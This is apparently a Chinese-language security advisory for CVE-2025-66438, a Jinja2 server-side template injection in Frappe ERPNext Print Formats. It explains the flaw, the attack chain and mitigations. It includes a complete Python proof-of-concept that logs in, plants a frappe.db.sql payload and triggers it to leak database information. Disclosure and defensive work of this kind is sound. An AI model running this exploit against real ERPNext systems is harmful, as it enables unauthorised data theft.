IPBUF安全漏洞报告
English
CVE-2025-66438 CVSS 8.8 高危

CVE-2025-66438: Frappe ERPNext Print Format服务端模板注入漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-66438
漏洞类型
服务端模板注入(SSTI)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frappe ERPNext

相关标签

服务端模板注入SSTIFrappe ERPNext信息泄露Jinja2CVE-2025-66438高危漏洞权限绕过数据库泄露

漏洞概述

CVE-2025-66438是Frappe ERPNext中存在的一个高危服务端模板注入(SSTI)漏洞。该漏洞存在于ERPNext的Print Format渲染机制中,攻击者可以通过在Print Format的html字段中注入恶意Jinja2表达式来执行任意代码。虽然ERPNext使用了Jinja2的SandboxedEnvironment来提供安全保障,但通过get_safe_globals()函数暴露了敏感的系统函数如frappe.db.sql,攻击者可以利用这些函数进行数据库查询,从而获取敏感信息包括数据库版本、schema详情以及其他敏感数据。攻击者需要具备ERPNext系统账号,并且拥有创建或修改Print Format的权限即可利用此漏洞。由于该漏洞可通过网络远程利用且不需要用户交互,对受影响系统构成严重安全威胁。

技术细节

该漏洞的根本原因在于ERPNext的Print Format渲染机制存在安全缺陷。具体来说,frappe.www.printview.get_html_and_style() API在处理Print Format文档时会调用get_rendered_template()函数,该函数使用frappe.render_template(template, doc)对Print Format中的html字段进行渲染。ERPNext虽然配置了Jinja2的SandboxedEnvironment来防止模板注入,但通过get_safe_globals()向模板上下文暴露了大量敏感函数和对象,其中最关键的是frappe.db.sql函数。攻击者可以在创建或修改Print Format时,在html字段中插入恶意Jinja2表达式,如使用{{ frappe.db.sql('SELECT version()') }}来执行SQL查询。由于渲染过程在服务器端执行,查询结果会被直接返回给攻击者,从而实现信息泄露。攻击者还可以利用其他暴露的全局函数进行更深层次的信息探测和敏感数据获取。

攻击链分析

STEP 1
步骤1
攻击者获取ERPNext系统账号并登录,获得有效会话cookie
STEP 2
步骤2
攻击者创建或修改一个Print Format,在html字段中注入恶意Jinja2表达式,如使用{{ frappe.db.sql('SELECT version()') }}
STEP 3
步骤3
攻击者调用frappe.www.printview.get_html_and_style() API,传入恶意的Print Format名称和目标文档(如Supplier或Sales Invoice)
STEP 4
步骤4
服务器端执行get_rendered_template()函数,调用frappe.render_template(template, doc)对恶意html内容进行渲染
STEP 5
步骤5
恶意Jinja2表达式被执行,通过暴露的frappe.db.sql等敏感函数进行数据库查询
STEP 6
步骤6
查询结果(如数据库版本、schema信息、敏感数据)通过API响应返回给攻击者,实现信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-66438 PoC - Frappe ERPNext SSTI via Print Format Note: This is for educational and authorized testing purposes only. """ import requests import json TARGET_URL = "https://erpnext.example.com" USERNAME = "your_username" PASSWORD = "your_password" def login(session): """Authenticate to ERPNext and get session cookie""" login_url = f"{TARGET_URL}/api/method/login" data = { "usr": USERNAME, "pwd": PASSWORD } response = session.post(login_url, data=data, timeout=30) return response.status_code == 200 def create_malicious_print_format(session): """Create a Print Format with SSTI payload in html field""" api_url = f"{TARGET_URL}/api/resource/Print Format" # SSTI payload to leak database version ssti_payload = """ {{ frappe.db.sql("SELECT version()") }} """ print_format_data = { "doctype": "Print Format", "name": "Malicious_Print_Format", "print_format_builder_beta": 1, "html": ssti_payload, "doc_type": "Supplier", "disabled": 0 } headers = { "Content-Type": "application/json", "Accept": "application/json" } response = session.post(api_url, json=print_format_data, headers=headers, timeout=30) return response.json() def trigger_ssti(session, print_format_name): """Call get_html_and_style API to trigger SSTI""" api_url = f"{TARGET_URL}/api/method/frappe.www.printview.get_html_and_style" params = { "doctype": "Supplier", "name": "Sample_Supplier_Name", "print_format": print_format_name } response = session.get(api_url, params=params, timeout=30) return response.json() def main(): session = requests.Session() print("[*] Step 1: Authenticating to ERPNext...") if not login(session): print("[-] Authentication failed") return print("[+] Authentication successful") print("[*] Step 2: Creating malicious Print Format...") result = create_malicious_print_format(session) print(f"[+] Print Format created: {result}") print("[*] Step 3: Triggering SSTI via get_html_and_style API...") leaked_data = trigger_ssti(session, "Malicious_Print_Format") print(f"[+] Leaked data: {leaked_data}") if __name__ == "__main__": main()

影响范围

Frappe ERPNext < 15.89.0

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:立即审查并撤销非管理员用户创建和修改Print Format的权限;限制frappe.db.sql等敏感函数在模板渲染上下文中的可用性;对Print Format相关API端点实施额外的访问控制和速率限制;启用详细的访问日志以便及时发现异常利用行为。建议尽快升级到官方发布的安全版本以彻底修复该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表